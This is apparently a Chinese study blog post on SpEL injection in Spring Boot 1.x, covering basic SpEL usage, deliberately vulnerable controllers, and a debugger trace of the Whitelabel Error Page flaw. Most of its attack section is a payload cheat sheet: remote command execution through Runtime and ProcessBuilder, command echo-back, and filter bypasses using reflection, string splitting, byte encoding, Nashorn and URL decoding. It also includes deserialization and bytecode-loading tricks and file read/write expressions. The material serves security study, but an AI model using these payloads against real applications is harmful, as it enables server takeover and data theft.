SPEL表达式的学习

SpEL简介

Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。

基本用法

SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值

1. 不注册新变量的用法

1
2
3
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式
System.out.println( exp.getValue() );//取值,Hello World!

2. 自定义注册变量的用法

1
2
3
4
5
6
Spel user = new Spel();
StandardEvaluationContext context=new StandardEvaluationContext();
context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量
SpelExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression expression = parser.parseExpression("#user.name");//解析表达式
System.out.println(expression.getValue(context).toString() );//取值,输出何止

实战用法

影响版本

  • 1.1.0-1.1.12
  • 1.2.0-1.2.7
  • 1.3.0

我的pom.xml

这是 1.3.0 版本的 Springboot,可以复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>SPEL</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>


<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>1.3.0.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>1.3.0.RELEASE</version>
<scope>compile</scope>
</dependency>
</dependencies>

</project>

由于TomcatGET请求中的 |{}等特殊字符存在限制(RFC 3986),所以需要使用POST参数来传递

controller代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package controller;

import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.IOException;

@Controller
@RequestMapping("/test")
public class TestController {
@ResponseBody
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
Expression expression = spelExpressionParser.parseExpression(string);
String out = (String) expression.getValue();
out = out.concat(" get");
return out;
}
}

由于getValue中没有传入参数,所以会从默认容器,也就是spring容器:ApplicationContext中获取;如果给定了容器,则会向具体的容器中获取。简单的实验环境就搭起来了,然后试试常用的SpEL语法

‘aaa’,表示字符串aaa

在SPEL语法中,表达式有这些用法

用法一 T(类名)

1
2
T(类名),可以指定使用一个类的类方法
T(java.lang.Runtime).getRuntime().exec("calc")

这里后端会执行语句,然后由于类型转换问题出现报错,所以没有返回值,springboot抛出空白页和500,但是计算器依然弹出。

用法二 (new 类名)

new 类名,可以直接new一个对象,再执行其中的方法

1
string=new java.lang.ProcessBuilder("cmd","/c","calc").start()

这里为什么不用Runtime()呢,因为Runtime()是单例类,不能直接被new出来

可见直接new一个对象执行其中的方法,杀伤力极大!需要注意的是,类名最好用全限类名,也就是具体到某个包,不然会因为找不到具体类而报错。

用法三 (#{…}/${…})

1
2
#{…} 用于执行SpEl表达式,并将内容赋值给属性
${…} 主要用于加载外部属性文件中的值

两者还可以混合使用,但需要注意的是{}中的内容必须符合SpEL表达式。这里需要换一下SpEL的写法,否则会因为没有使用模板解析表达式,在传入#{后出现报错。

这里更换以下controller的写法,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package controller;

import org.springframework.expression.Expression;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.IOException;

@Controller
@RequestMapping("/test")
public class TestController {
@ResponseBody
@RequestMapping(value = "/index",params = "string",method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
TemplateParserContext templateParserContext = new TemplateParserContext();
Expression expression = spelExpressionParser.parseExpression(string,templateParserContext);
Integer out = (Integer) expression.getValue();
return Integer.toString(out);
}
}

在经过TemplateParserContext的解析后,以上两种方式被严格限制

效果如下:

IllegalStateException复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.IOException;

@Controller
public class TestController {
@ResponseBody
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
throw new IllegalStateException(string);
}
}

然后启动springboot 项目

1
2
3
4
5
6
7
8
9
10
11
package controller;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class,args);
}
}

之后,我们输入${7*7},看到其进行一个解析

之后输入payload${new java.lang.ProcessBuilder("cmd","/c","calc").start()},发现其无法执行命令。

更换payload为:string=${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}才可以执行命令。

其中报错调用堆栈如下:

1
2
3
4
5
org.springframework.expression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'
at org.springframework.expression.spel.standard.Tokenizer.process(Tokenizer.java:186) ~[spring-expression-4.2.3.RELEASE.jar:4.2.3.RELEASE]
at org.springframework.expression.spel.standard.Tokenizer.<init>(Tokenizer.java:84) ~[spring-expression-4.2.3.RELEASE.jar:4.2.3.RELEASE]
at org.springframework.expression.spel.standard.InternalSpelExpressionParser.doParseExpression(InternalSpelExpressionParser.java:121) ~[spring-expression-4.2.3.RELEASE.jar:4.2.3.RELEASE]
at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:60) ~[spring-expression-4.2.3.RELEASE.jar:4.2.3.RELEASE]

调试一下,看一下为什么:

此时调用堆栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
doDispatch:959, DispatcherServlet (org.springframework.web.servlet)
doService:893, DispatcherServlet (org.springframework.web.servlet)
processRequest:970, FrameworkServlet (org.springframework.web.servlet)
doPost:872, FrameworkServlet (org.springframework.web.servlet)
service:648, HttpServlet (javax.servlet.http)
service:846, FrameworkServlet (org.springframework.web.servlet)
service:729, HttpServlet (javax.servlet.http)
internalDoFilter:291, ApplicationFilterChain (org.apache.catalina.core)
doFilter:206, ApplicationFilterChain (org.apache.catalina.core)
invoke:720, ApplicationDispatcher (org.apache.catalina.core)
processRequest:468, ApplicationDispatcher (org.apache.catalina.core)
doForward:391, ApplicationDispatcher (org.apache.catalina.core)
forward:318, ApplicationDispatcher (org.apache.catalina.core)
custom:439, StandardHostValve (org.apache.catalina.core)
status:305, StandardHostValve (org.apache.catalina.core)
throwable:399, StandardHostValve (org.apache.catalina.core)
invoke:180, StandardHostValve (org.apache.catalina.core)
invoke:79, ErrorReportValve (org.apache.catalina.valves)
invoke:88, StandardEngineValve (org.apache.catalina.core)
service:518, CoyoteAdapter (org.apache.catalina.connector)
process:1091, AbstractHttp11Processor (org.apache.coyote.http11)
process:673, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
doRun:1500, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:1456, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

1
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

方法中处理了相关的HTTP请求,相关的控制器方法执行和触发的异常都是在这里面执行的

这时,继续往下走,经过manager处理后,view试图会是error类型

到目前modeView对象已经拿到了,该对象中包含了这里HTTP请求处理的处理和相关值,然后将这个作为参数调用processDispatchResult,让该方法来进行渲染

在processDispatchResult方法中就会进行渲染,其中实现渲染的方法名就是render

此时的调用堆栈为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
render:1244, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1027, DispatcherServlet (org.springframework.web.servlet)
doDispatch:971, DispatcherServlet (org.springframework.web.servlet)
doService:893, DispatcherServlet (org.springframework.web.servlet)
processRequest:970, FrameworkServlet (org.springframework.web.servlet)
doPost:872, FrameworkServlet (org.springframework.web.servlet)
service:648, HttpServlet (javax.servlet.http)
service:846, FrameworkServlet (org.springframework.web.servlet)
service:729, HttpServlet (javax.servlet.http)
internalDoFilter:291, ApplicationFilterChain (org.apache.catalina.core)
doFilter:206, ApplicationFilterChain (org.apache.catalina.core)
invoke:720, ApplicationDispatcher (org.apache.catalina.core)
processRequest:468, ApplicationDispatcher (org.apache.catalina.core)
doForward:391, ApplicationDispatcher (org.apache.catalina.core)
forward:318, ApplicationDispatcher (org.apache.catalina.core)
custom:439, StandardHostValve (org.apache.catalina.core)
status:305, StandardHostValve (org.apache.catalina.core)
throwable:399, StandardHostValve (org.apache.catalina.core)
invoke:180, StandardHostValve (org.apache.catalina.core)
invoke:79, ErrorReportValve (org.apache.catalina.valves)
invoke:88, StandardEngineValve (org.apache.catalina.core)
service:518, CoyoteAdapter (org.apache.catalina.connector)
process:1091, AbstractHttp11Processor (org.apache.coyote.http11)
process:673, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
doRun:1500, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:1456, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

之后模板开始渲染

用的是什么解析器来进行渲染呢?SpELPlaceholderResolver对象

渲染的模板就是默认的Whitelabel Error Page 模板,其中就四个标签有进行相关SpEL表达式的操作的,分别是 ${timestamp} ${error} ${status} ${message}

继续跟进parseStringValue方法,简单说一下流程

  1. StringBuilder result = new StringBuilder(strVal); 将要渲染的模板存储到一块StringBuilder对象中

  2. 接着下面的while循环就是来寻找 this.placeholderPrefix开头并且以this.placeholderSuffix 结尾的字符串,并且将其中的字符串名称取出

  3. 这时候就来到了 placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders); ,它会将 上面取出来的字符串作为placeholder变量进行传输,通过placeholderResolver解析器来进行解析,而且这个方法还是递归的方法,因为上面一开始取出的字符串中还带有${ }这种,还会递归进行parseStringValue解析,直到不存在${}为止

  4. String propVal = placeholderResolver.resolvePlaceholder(placeholder);,接着就是调用这个方法,这个方法才是真正的主角,因为进行字符串填充的都是通过这个方法。resolvePlaceholder这个方法跟进去,可以发现会通过SpelExpressionParser对象的parseExpression方法来对传入的字符串进行保存,最后返回一个expression的对象

  1. Object value = expression.getValue(this.context); 接着其中继续通过返回来的expression对象来获取其中的值,根据该值来判断返回对应的对象,这里传入的是timestamp,通过getValue方法之后返回出来的是一个Date格式的字符串

  2. 继续对返回的字符串进行HTML编码处理

    1
    return HtmlUtils.htmlEscape(value == null ? null : value.toString());
  3. 最后进行替换处理,将其解析出来的字符串和对应的${}进行替换

此时,经过渲染,我们的输入,已经被转义掉了,HTML编码处理了,最后返回的字符串存在&,为了避免转义,我们只能用16进制。

命令回显

  1. 当存在时,使用commons-io组件

    1
    T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
  2. 使用jdk>=9中的JShell,这种方式会受限于jdk的版本问题

    1
    T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
  3. 原生输出

    1
    new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

    经过编码后:

    1
    2
    string=${new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new java.lang.String(new byte[]{0x20,0x22,0x63,0x6d,0x64,0x22,0x2c,0x20,0x22,0x2f,0x63,0x22,0x2c,0x20,0x22,0x77,0x68,0x6f,0x61,0x6d,0x69,0x22})).start().getInputStream())).readLine()}

    如图:

  4. Scanner

    1
    new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

SPEL变形与tips

原型

1
2
3
4
5
6
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

反射调用

1
2
3
4
5
6
7
8
9
10
11
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 反射调用+字符串拼接,绕过正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

绕过 getClass 过滤

1
2
3
4
//''.getClass 替换为 ''.class.getSuperclass().class

''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

url编码绕过

1
2
3
4
5
6
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// char转字符串,再字符串concat
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

JavaScript引擎

1
2
3
4
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

JavaScript+反射

1
2
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

JavaScript+URL编码

1
2
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

Jshell

1
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

其他Tips

绕过T 过滤

1
2
T%00(new)
这涉及到SpEL对字符的编码,%00会被直接替换为空

使用Spring工具类反序列化,绕过new关键字

1
2
T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
// 可以结合CC链食用

使用Spring工具类执行自定义类的静态代码块

1
T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())

需要在自定义类写静态代码块 static{}

读写文件和回显

无版本限制回显

1
2
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

nio 读文件

1
2
new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt"))))

nio 写文件

1
T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)

参考文章

https://www.cnblogs.com/zpchcbd/p/15536569.html

https://www.cnblogs.com/bitterz/p/15206255.html